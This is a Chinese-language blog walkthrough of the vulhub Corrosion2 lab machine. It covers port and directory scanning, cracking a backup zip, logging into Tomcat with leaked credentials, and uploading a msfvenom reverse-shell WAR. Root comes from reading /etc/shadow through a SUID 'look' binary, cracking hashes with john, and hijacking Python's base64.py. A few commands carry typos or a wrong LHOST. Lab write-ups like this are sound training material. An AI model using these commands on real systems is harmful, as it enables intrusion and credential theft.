vulhub打靶记录——Corrosion2

发布于:2024-04-08 ⋅ 阅读:(179) ⋅ 点赞:(0)

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.151.0/24

在这里插入图片描述

  • 192.168.151.1:主机IP;
  • 192.168.151.2:DHCP服务器IP;
  • 192.168.151.5:靶机IP;
  • 192.168.151.4:Kali IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.151.5 

在这里插入图片描述

可见这台靶机,开放了端口:22(ssh,远程登录协议))、80(http,web服务)、8080(http,web服务)。

ssh—22

search openssh EXP

searchsploit openssh # 搜索exp

在这里插入图片描述

web服务—8080

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.151.5 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
在目录扫描中发现了一些东西
1.192.168.151.5/readme.txt,发现这台主机的有一个用户为randy
在这里插入图片描述
2.192.168.151.5/backup.zip,有一个备份文件,发现加密了。
在这里插入图片描述

tomcat-users.xml中包含tomcat管理端所有用户的用户名和密码。

尝试用fcrackzip对zip文件进行解密,命令如下:

fcrackzip -D -p /usr/share/wordlist/rockyou.txt -u backup.zip
  • -D:表示使用字典对文件进行解析;
  • -p:表示字典路径;
  • -u:把密码显示在终端。

在这里插入图片描述
查看tomcat-users.xml的内容,可以发现两个用户名和相应的密码:

manager melehifokivai
admin melehifokivai

在这里插入图片描述

登录tomcat后台

拿到用户名和密码后,尝试区登录tomcat。点击manager app,并输入用户名和密码。

在这里插入图片描述

成功登录tomcat管理后台,登录进来是一个web项目发布的管理端。tomcat一般发布的是java的web工程,发布的形式的话,可以以目录的方式进行发布,也可以以WAR包的形式进行发布。也就是存在上传点!!!

在这里插入图片描述
使用msfvenom生成恶意程序(也可以用它对恶意程序加密加壳等),命令如下:Reverse Shell Generator

msfvenom -p java/shell_reverse_tcp LHOST=192.168.151.5 LPORT=4444 -f war -o shell.war
  • -p:需要使用的payload;
  • -f:输出格式;
  • -0:输出路径。
  • war包其实就跟zip压缩包差不多,可以直接使用unzip shell.war进行解压。

在这里插入图片描述

直接上传生成的shell.war,然后需要做的就是nc -nlvp 4444监听本地端口,访问192.168.151.5、shell即可reverse shell。

在这里插入图片描述
在这里插入图片描述

提权

使用下面的命令建立半交互式shell,发现并没有python(搞不定,先不搞咯)

python -c "import pty;pty.spawn("/bin/bash")"

在这里插入图片描述

切换用户

先进入/home,发现jaye、randy两个用户,因为我们有一个zip压缩包的密码、登录tomcat后台的密码,所以可以尝试用这两个密码去登录这两个用户。事实证明是可行的,jaye用户的密码就是tomcat登录密码。
在这里插入图片描述

查看用户权限

查看jaye用户的权限,发现当前用户不能使用sudo命令。

sudo -l # 查看当前用户是否具有sudo权限

在这里插入图片描述

寻找SUID命令

寻找具备SUID属性的程序(不知道的命令直接百度,看是不是系统自带的命令),这里发现了一个/home/jaye/Files/look程序具备SUID权限。

find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序,主要关注当前用户是不是可以以root用户去执行某些命令

在这里插入图片描述
这个look命令,大概意思就是找到文件中以指定字母开头的内容。
在这里插入图片描述

在这里插入图片描述

破解登录密文

尝试读取/etc/shadow文件,查看该系统所有用户的密码(密文)

look '' /etc/shadow # 空字符就代表查看文件中的所有内容

在这里插入图片描述
既然拿到密文,可以使用john去尝试破解密文。

echo '密文' >> pw.txt
john --wprdlist=/usr/share/wordlist/rockyou.txt pw.txt

在这里插入图片描述

su randy # 切换randy用户,密码为07051986randy
sudo -l # 查看randy用户的sudo权限

在这里插入图片描述
用户randy执行sudo /usr/bin/python3.8 /home/randy/randombase64.py时,是以root用户执行的。

ls -l /home/randy/randombase64.py # 查看权限,只有root用户具有可写权限
cat /home/randy/randombase64.py # 查看/home/randy/randombase64.py内容

在这里插入图片描述
查看文件内容,发现import base64,思路:在base64.py里加入os.system("/bin/bash"),这样在调用该文件的时候,就会获取root用户的shell
在这里插入图片描述

locate base64 # 定位base64文件
echo 'import os' >> randombase64.py
echo 'os.system("/bin/bash")' >> /usr/lib/python3.8/base64.py
sudo /usr/bin/python3.8 /home/randy/randombase64.py

在这里插入图片描述
最终提权成功
在这里插入图片描述

总结

  1. nmap端口扫描。发现靶机开放的服务;
  2. 对web服务进行目录扫描,发现8080端口的web服务存在备份文件backup.zip;
  3. 使用john对zip文件进行密码破解,
  4. 查看tomcat-users.xml文件,获得密码,再登录tomcat后台;
  5. msfvenom生成war包的后门文件,通过tomcat上传WAR;
  6. 监听端口,访问后门,获取webshell;
  7. 由之前获取的密码登录靶机,成功登录jaye用户;
  8. 寻找SUID程序,由look程序,查看/etc/shadow,破解randy用户密码;
  9. 切换randy用户,查看sudo用户权限,修改randombase64.py文件且添加/bin/bash,获取root用户的shell。

网站公告

今日签到

点亮在社区的每一天
去签到